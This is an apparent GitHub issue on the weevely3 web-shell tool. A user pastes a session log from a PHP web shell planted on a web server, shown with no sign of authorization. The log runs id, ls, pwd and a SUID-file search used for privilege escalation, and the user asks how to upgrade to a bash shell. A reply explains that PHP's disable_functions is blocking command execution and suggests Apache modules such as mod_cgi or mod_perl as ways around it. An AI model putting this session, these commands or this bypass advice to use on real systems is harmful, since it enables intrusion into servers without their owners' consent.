i got it shell of php how can i convert into bash
hackersden09 opened this issue · 1 comments
[root@anonymous:~/Desktop/weapons/weevely3]# weevely http://fasdfg.com:8080/images/avatars/den.php den
[+] weevely 3.7.0
[+] Target: fasdfg.com:8080
[+] Session: /root/.weevely/sessions/fasdfg.den_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> ls
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
[-][cd] Failed cd '.': no such directory or permission denied
www-data@ubuntu PHP> id
[-][cd] Failed cd '.': no such directory or permission denied
[-][channel] Is the trailing comma missing at the end of the PHP code '..@error_reporting(0);id'?
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
www-data@ubuntu PHP> ls
[-][cd] Failed cd '.': no such directory or permission denied
www-data@ubuntu PHP> pwd
[-][cd] Failed cd '.': no such directory or permission denied
/var/www/images/avatars
www-data@ubuntu PHP> pwd
[-][cd] Failed cd '.': no such directory or permission denied
/var/www/images/avatars
www-data@ubuntu PHP> find / -perm -u=s -type f 2>/dev/null
It means that PHP is configured to disable all the functions that can be leveraged to execute system commands, something like:
disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
There is no direct way to "convert" it, but you can try leveraging other Apache modules such as mod_cgi
, mod_python
, mod_perl
, etc., if available.